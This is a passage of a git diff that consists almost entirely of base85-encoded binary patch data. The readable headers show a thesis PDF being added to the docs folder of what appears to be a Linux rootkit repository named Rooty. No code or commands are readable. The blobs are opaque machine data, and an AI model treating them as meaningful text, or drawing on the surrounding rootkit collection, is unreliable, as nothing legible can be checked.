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 a{=@y#+xzV~pGWguYrFgO>GQWQcYgpNb*%aT literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/docs/Praca Inżynierska - Karol Celebi.pdf b/Linux/Rootkits/Rooty/docs/Praca Inżynierska - Karol Celebi.pdf new file mode 100644 index 0000000000000000000000000000000000000000..313b3c42724d0a2b5ed0cb3f5351a770375a2d3c GIT binary patch literal 2007726 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 